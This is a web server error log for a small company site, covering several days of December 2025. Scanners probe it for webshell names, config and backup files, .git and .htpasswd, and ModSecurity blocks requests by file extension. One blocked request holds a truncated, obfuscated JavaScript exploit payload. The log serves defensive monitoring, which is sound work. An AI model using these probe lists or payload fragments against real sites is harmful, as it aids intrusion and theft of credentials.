[Fri Dec 12 07:27:28.786452 2025] [:error] [pid 25417:tid 25434] [client 20.58.146.18:44164] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Fri Dec 12 07:27:28.997341 2025] [:error] [pid 25221:tid 25297] [client 20.58.146.18:44166] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:27:29.208204 2025] [:error] [pid 25219:tid 25229] [client 20.58.146.18:44168] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.fr/ [Fri Dec 12 09:54:29.559810 2025] [:error] [pid 25418:tid 25456] [client 35.193.3.215:33624] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Dec 12 10:32:49.997198 2025] [:error] [pid 25417:tid 25440] [client 154.47.31.3:41466] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Dec 12 11:07:57.012415 2025] [:error] [pid 25418:tid 25450] [client 216.106.187.123:45876] File does not exist: /home/coldtecp/public_html/config.php [Fri Dec 12 11:10:55.008790 2025] [:error] [pid 25418:tid 25468] [client 216.106.187.123:46644] [client 216.106.187.123] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/config.ini"] [unique_id "aTw-jzuX_bzUvoM5BCFp5QAAAVU"] [Fri Dec 12 11:11:32.276949 2025] [:error] [pid 25221:tid 25302] [client 216.106.187.123:46712] File does not exist: /home/coldtecp/public_html/config.php.bak 2025/12/12 11:12:27 [error] 25162#25162: *946386 access forbidden by rule, client: 216.106.187.123, server: coldtecperu.com, request: "GET /.htaccess HTTP/1.1", host: "coldtecperu.com" 2025/12/12 11:13:04 [error] 25162#25162: *946411 access forbidden by rule, client: 216.106.187.123, server: coldtecperu.com, request: "GET /.htpasswd HTTP/1.1", host: "coldtecperu.com" [Fri Dec 12 11:14:15.980580 2025] [:error] [pid 25417:tid 25436] [client 216.106.187.123:46938] File does not exist: /home/coldtecp/public_html/wp-config.php [Fri Dec 12 11:14:50.817213 2025] [:error] [pid 25219:tid 25242] [client 216.106.187.123:46992] File does not exist: /home/coldtecp/public_html/wp-config.php.bak [Fri Dec 12 11:15:27.446347 2025] [:error] [pid 25220:tid 25274] [client 216.106.187.123:47048] File does not exist: /home/coldtecp/public_html/phpinfo.php [Fri Dec 12 11:16:04.548586 2025] [:error] [pid 25417:tid 25435] [client 216.106.187.123:47114] File does not exist: /home/coldtecp/public_html/info.php [Fri Dec 12 11:17:38.713594 2025] [:error] [pid 25221:tid 25305] [client 216.106.187.123:47290] File does not exist: /home/coldtecp/public_html/debug.php [Fri Dec 12 11:19:34.008462 2025] [:error] [pid 25418:tid 25467] [client 216.106.187.123:47640] [client 216.106.187.123] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/dump.sql"] [unique_id "aTxAljuX_bzUvoM5BCFqaAAAAVQ"] [Fri Dec 12 11:21:19.261947 2025] [:error] [pid 25220:tid 25265] [client 216.106.187.123:47970] [client 216.106.187.123] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/backup.sql"] [unique_id "aTxA_2xNReTVPw4XrMJZ1wAAAIk"] [Fri Dec 12 11:22:22.303609 2025] [:error] [pid 25418:tid 25449] [client 216.106.187.123:48068] [client 216.106.187.123] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/database.sql"] [unique_id "aTxBPjuX_bzUvoM5BCFqnQAAAUI"] [Fri Dec 12 11:23:02.218331 2025] [:error] [pid 25418:tid 25468] [client 216.106.187.123:48132] [client 216.106.187.123] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTxBZjuX_bzUvoM5BCFqqAAAAVU"] [Fri Dec 12 11:25:24.515912 2025] [:error] [pid 25221:tid 25292] [client 216.106.187.123:48416] [client 216.106.187.123] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/logs/error.log"] [unique_id "aTxB9H1S7N4UUl4NAsJm9QAAAMc"] [Fri Dec 12 15:01:29.961545 2025] [:error] [pid 25219:tid 25234] [client 45.149.173.211:49356] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/12/13 11:43:21 [error] 19446#19446: *1007140 access forbidden by rule, client: 194.180.49.172, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Sat Dec 13 16:36:10.649685 2025] [:error] [pid 19620:tid 19641] [client 31.27.252.102:43678] [client 31.27.252.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: _0x7ce2 found within ARGS:0: {\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:0,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22let _MWAgNSVuT, _nDjHozhfg, _JnnLQujoc, _TumbCHwVW, _uyZdhaKmf, _esPqKTTUa, _kbYGQXnWo, _WlbObpTtU, _wNRUqfbPF, _dbZcMjOYC, _AvPzxvrLb, _gGrcFMkmp, _oECnuzdES, _TVPtlpOmf, _oslgKVSBl; function _0x7ce2(_0x2e6daf,_0x2264c8){_0x2e6daf=_0x2e6daf-(-0x1a16 0xfed -0x1*-0xc19);const _0x15999c=_0x2adb();let _0x5af636=_0x15999c[_0x2e6daf];return _0x5af636;}function _0x2adb(){con..."] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aT3cSj7wOC5U4rGeKZe-BQAAAI4"] [Sat Dec 13 21:07:55.386519 2025] [:error] [pid 2515:tid 2574] [client 4.241.241.191:60552] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.fr/ [Sat Dec 13 21:07:55.562988 2025] [:error] [pid 2515:tid 2581] [client 4.241.241.191:60554] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.de/ [Sat Dec 13 21:07:55.739357 2025] [:error] [pid 2515:tid 2595] [client 4.241.241.191:60556] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.de/ [Sat Dec 13 21:07:56.091939 2025] [:error] [pid 2602:tid 2607] [client 4.241.241.191:60560] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.bing.com/ [Sat Dec 13 21:07:56.268132 2025] [:error] [pid 2602:tid 2623] [client 4.241.241.191:60562] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Sat Dec 13 21:07:56.621231 2025] [:error] [pid 2602:tid 2609] [client 4.241.241.191:60566] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Sat Dec 13 21:07:56.797780 2025] [:error] [pid 2602:tid 2618] [client 4.241.241.191:60568] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.com/ [Sat Dec 13 21:07:57.151780 2025] [:error] [pid 2515:tid 2568] [client 4.241.241.191:60572] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.yahoo.com/ [Sat Dec 13 21:07:57.352633 2025] [:error] [pid 2513:tid 2558] [client 4.241.241.191:60578] File does not exist: /home/coldtecp/public_html/txets.php, referer: https://www.google.com/ [Sat Dec 13 21:07:57.529119 2025] [:error] [pid 2513:tid 2548] [client 4.241.241.191:60580] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.de/ [Sat Dec 13 21:07:58.411474 2025] [:error] [pid 2513:tid 2573] [client 4.241.241.191:60590] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Sat Dec 13 21:07:58.588022 2025] [:error] [pid 2602:tid 2620] [client 4.241.241.191:60592] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.bing.com/ [Sat Dec 13 21:07:58.764480 2025] [:error] [pid 2602:tid 2606] [client 4.241.241.191:60594] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.yahoo.com/ [Sat Dec 13 21:07:58.941092 2025] [:error] [pid 2602:tid 2626] [client 4.241.241.191:60596] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Sat Dec 13 21:07:59.128491 2025] [:error] [pid 2515:tid 2593] [client 4.241.241.191:60598] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Sat Dec 13 21:07:59.304913 2025] [:error] [pid 2515:tid 2559] [client 4.241.241.191:60600] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.co.uk/ [Sat Dec 13 21:07:59.481483 2025] [:error] [pid 2602:tid 2611] [client 4.241.241.191:60602] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.fr/ [Sat Dec 13 21:07:59.658229 2025] [:error] [pid 2515:tid 2566] [client 4.241.241.191:60604] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.fr/ [Sat Dec 13 21:08:01.258965 2025] [:error] [pid 2515:tid 2572] [client 4.241.241.191:60626] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.fr/ [Sat Dec 13 21:08:01.440838 2025] [:error] [pid 2515:tid 2587] [client 4.241.241.191:60628] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.yahoo.com/ [Sat Dec 13 21:08:01.618051 2025] [:error] [pid 2602:tid 2610] [client 4.241.241.191:60630] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Sat Dec 13 21:08:01.795129 2025] [:error] [pid 2602:tid 2622] [client 4.241.241.191:60632] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.yahoo.com/ [Sat Dec 13 21:08:01.984446 2025] [:error] [pid 2602:tid 2620] [client 4.241.241.191:60634] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Sat Dec 13 21:08:02.161447 2025] [:error] [pid 2515:tid 2570] [client 4.241.241.191:60636] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.yahoo.com/ [Sat Dec 13 21:08:02.338588 2025] [:error] [pid 2602:tid 2615] [client 4.241.241.191:60638] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.com/ [Sun Dec 14 01:52:25.086675 2025] [:error] [pid 2515:tid 2565] [client 4.241.241.191:55534] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.google.co.uk/ [Sun Dec 14 01:52:25.263460 2025] [:error] [pid 2515:tid 2589] [client 4.241.241.191:55536] File does not exist: /home/coldtecp/public_html/www.php, referer: https://www.google.de/ [Sun Dec 14 01:52:25.440229 2025] [:error] [pid 2515:tid 2566] [client 4.241.241.191:55538] File does not exist: /home/coldtecp/public_html/includes.php, referer: https://www.google.co.uk/ [Sun Dec 14 01:52:25.616925 2025] [:error] [pid 2602:tid 2621] [client 4.241.241.191:55540] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.com/ [Sun Dec 14 01:52:29.861496 2025] [:error] [pid 2602:tid 2618] [client 4.241.241.191:55590] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.bing.com/ [Sun Dec 14 01:52:35.891140 2025] [:error] [pid 2514:tid 2529] [client 4.241.241.191:55672] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.com/ [Sun Dec 14 01:52:36.068482 2025] [:error] [pid 2602:tid 2628] [client 4.241.241.191:55676] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.co.uk/ [Sun Dec 14 01:52:36.245506 2025] [:error] [pid 2602:tid 2627] [client 4.241.241.191:55680] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Sun Dec 14 01:52:36.422262 2025] [:error] [pid 2602:tid 2611] [client 4.241.241.191:55682] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.com/ [Sun Dec 14 01:52:36.599167 2025] [:error] [pid 2514:tid 2530] [client 4.241.241.191:55684] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Sun Dec 14 01:52:36.776557 2025] [:error] [pid 2602:tid 2604] [client 4.241.241.191:55686] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.co.uk/ [Sun Dec 14 05:12:56.771190 2025] [:error] [pid 14615:tid 14628] [client 89.187.187.67:44072] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Dec 14 10:53:20.593669 2025] [:error] [pid 14195:tid 14203] [client 4.241.241.191:49618] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.google.fr/ [Sun Dec 14 10:53:20.766969 2025] [:error] [pid 14195:tid 14207] [client 4.241.241.191:49620] File does not exist: /home/coldtecp/public_html/www.php, referer: https://www.google.com/ [Sun Dec 14 10:53:20.940212 2025] [:error] [pid 14195:tid 14216] [client 4.241.241.191:49622] File does not exist: /home/coldtecp/public_html/includes.php, referer: https://www.bing.com/ [Sun Dec 14 10:53:21.113185 2025] [:error] [pid 14615:tid 14618] [client 4.241.241.191:49626] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.com/ [Sun Dec 14 10:53:25.264929 2025] [:error] [pid 14194:tid 14277] [client 4.241.241.191:49682] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Sun Dec 14 10:53:31.141201 2025] [:error] [pid 14196:tid 14253] [client 4.241.241.191:49764] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.fr/ [Sun Dec 14 10:53:31.314345 2025] [:error] [pid 14195:tid 14224] [client 4.241.241.191:49766] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.yahoo.com/ [Sun Dec 14 10:53:31.487307 2025] [:error] [pid 14615:tid 14638] [client 4.241.241.191:49768] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.fr/ [Sun Dec 14 10:53:31.660316 2025] [:error] [pid 14194:tid 14268] [client 4.241.241.191:49770] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.bing.com/ [Sun Dec 14 10:53:31.833169 2025] [:error] [pid 14196:tid 14244] [client 4.241.241.191:49772] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.com/ [Sun Dec 14 10:53:32.006158 2025] [:error] [pid 14196:tid 14232] [client 4.241.241.191:49774] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Sun Dec 14 18:43:16.405742 2025] [:error] [pid 14615:tid 14633] [client 52.230.92.201:36702] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.yahoo.com/ [Sun Dec 14 18:43:16.657793 2025] [:error] [pid 14615:tid 14618] [client 52.230.92.201:36704] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Sun Dec 14 18:43:16.902195 2025] [:error] [pid 14615:tid 14634] [client 52.230.92.201:36706] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Sun Dec 14 18:43:17.147201 2025] [:error] [pid 14195:tid 14219] [client 52.230.92.201:36708] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.fr/ [Sun Dec 14 18:43:17.391782 2025] [:error] [pid 14196:tid 14237] [client 52.230.92.201:36710] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.de/ [Sun Dec 14 18:43:17.636879 2025] [:error] [pid 14196:tid 14238] [client 52.230.92.201:36712] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.fr/ [Sun Dec 14 18:43:17.881269 2025] [:error] [pid 14196:tid 14242] [client 52.230.92.201:36714] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Sun Dec 14 18:43:18.125543 2025] [:error] [pid 14196:tid 14230] [client 52.230.92.201:36716] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.co.uk/ [Sun Dec 14 18:43:18.370295 2025] [:error] [pid 14615:tid 14617] [client 52.230.92.201:36718] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.de/ [Sun Dec 14 18:43:19.105163 2025] [:error] [pid 14615:tid 14628] [client 52.230.92.201:36726] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.com/ [Sun Dec 14 18:43:19.349799 2025] [:error] [pid 14615:tid 14640] [client 52.230.92.201:36728] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://duckduckgo.com/ [Sun Dec 14 18:43:19.594473 2025] [:error] [pid 14615:tid 14621] [client 52.230.92.201:36730] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Sun Dec 14 18:43:19.839544 2025] [:error] [pid 14615:tid 14635] [client 52.230.92.201:36732] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://duckduckgo.com/ [Sun Dec 14 18:43:20.084287 2025] [:error] [pid 14615:tid 14641] [client 52.230.92.201:36734] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.yahoo.com/ [Sun Dec 14 18:43:20.822212 2025] [:error] [pid 14194:tid 14262] [client 52.230.92.201:36744] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.fr/ [Sun Dec 14 18:43:21.067046 2025] [:error] [pid 14196:tid 14252] [client 52.230.92.201:36746] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.com/ [Sun Dec 14 18:43:21.311676 2025] [:error] [pid 14195:tid 14214] [client 52.230.92.201:36748] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.fr/ [Sun Dec 14 18:43:21.557690 2025] [:error] [pid 14615:tid 14630] [client 52.230.92.201:36750] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.de/ [Sun Dec 14 18:43:21.802433 2025] [:error] [pid 14194:tid 14273] [client 52.230.92.201:36752] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.bing.com/ [Sun Dec 14 18:43:22.047226 2025] [:error] [pid 14195:tid 14217] [client 52.230.92.201:36754] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.de/ [Sun Dec 14 18:43:22.292332 2025] [:error] [pid 14615:tid 14632] [client 52.230.92.201:36756] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.co.uk/ [Sun Dec 14 18:43:22.781745 2025] [:error] [pid 14194:tid 14271] [client 52.230.92.201:36760] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.co.uk/ [Sun Dec 14 18:43:23.026520 2025] [:error] [pid 14196:tid 14249] [client 52.230.92.201:36762] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.fr/ [Sun Dec 14 18:43:23.760426 2025] [:error] [pid 14615:tid 14638] [client 52.230.92.201:36772] File does not exist: /home/coldtecp/public_html/info.php, referer: https://duckduckgo.com/ [Sun Dec 14 18:43:24.008701 2025] [:error] [pid 14196:tid 14239] [client 52.230.92.201:36774] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.co.uk/ [Sun Dec 14 18:43:24.253455 2025] [:error] [pid 14196:tid 14231] [client 52.230.92.201:36776] File does not exist: /home/coldtecp/public_html/k.php, referer: https://duckduckgo.com/ [Sun Dec 14 18:43:24.498038 2025] [:error] [pid 14615:tid 14625] [client 52.230.92.201:36778] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.yahoo.com/ [Sun Dec 14 18:43:24.987512 2025] [:error] [pid 14194:tid 14267] [client 52.230.92.201:36782] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Sun Dec 14 18:43:25.477365 2025] [:error] [pid 14194:tid 14270] [client 52.230.92.201:36786] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Sun Dec 14 18:43:25.722316 2025] [:error] [pid 14194:tid 14275] [client 52.230.92.201:36788] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.yahoo.com/ [Sun Dec 14 18:43:25.967132 2025] [:error] [pid 14615:tid 14639] [client 52.230.92.201:36792] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Sun Dec 14 18:43:26.713223 2025] [:error] [pid 14615:tid 14629] [client 52.230.92.201:36800] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.fr/ [Sun Dec 14 18:43:26.957495 2025] [:error] [pid 14615:tid 14627] [client 52.230.92.201:36802] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.co.uk/ [Sun Dec 14 18:43:30.897447 2025] [:error] [pid 14195:tid 14209] [client 52.230.92.201:36838] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.de/ [Sun Dec 14 21:19:45.863638 2025] [:error] [pid 14615:tid 14639] [client 13.71.30.28:48596] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Sun Dec 14 21:19:46.075529 2025] [:error] [pid 14615:tid 14640] [client 13.71.30.28:48598] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:46.287077 2025] [:error] [pid 14615:tid 14617] [client 13.71.30.28:48600] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Sun Dec 14 21:19:46.711931 2025] [:error] [pid 14615:tid 14637] [client 13.71.30.28:48604] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:46.923332 2025] [:error] [pid 14615:tid 14638] [client 13.71.30.28:48606] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:47.346167 2025] [:error] [pid 14195:tid 14207] [client 13.71.30.28:48610] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.de/ [Sun Dec 14 21:19:47.557549 2025] [:error] [pid 14195:tid 14210] [client 13.71.30.28:48612] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:47.980238 2025] [:error] [pid 14194:tid 14266] [client 13.71.30.28:48616] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:48.191623 2025] [:error] [pid 14196:tid 14241] [client 13.71.30.28:48618] File does not exist: /home/coldtecp/public_html/txets.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:48.403466 2025] [:error] [pid 14196:tid 14245] [client 13.71.30.28:48620] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:49.463453 2025] [:error] [pid 14196:tid 14229] [client 13.71.30.28:48634] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:49.675230 2025] [:error] [pid 14615:tid 14623] [client 13.71.30.28:48636] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.bing.com/ [Sun Dec 14 21:19:49.886801 2025] [:error] [pid 14615:tid 14622] [client 13.71.30.28:48638] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.com/ [Sun Dec 14 21:19:50.098530 2025] [:error] [pid 14615:tid 14620] [client 13.71.30.28:48640] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://duckduckgo.com/ [Sun Dec 14 21:19:50.325127 2025] [:error] [pid 14615:tid 14634] [client 13.71.30.28:48642] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:50.536945 2025] [:error] [pid 14615:tid 14630] [client 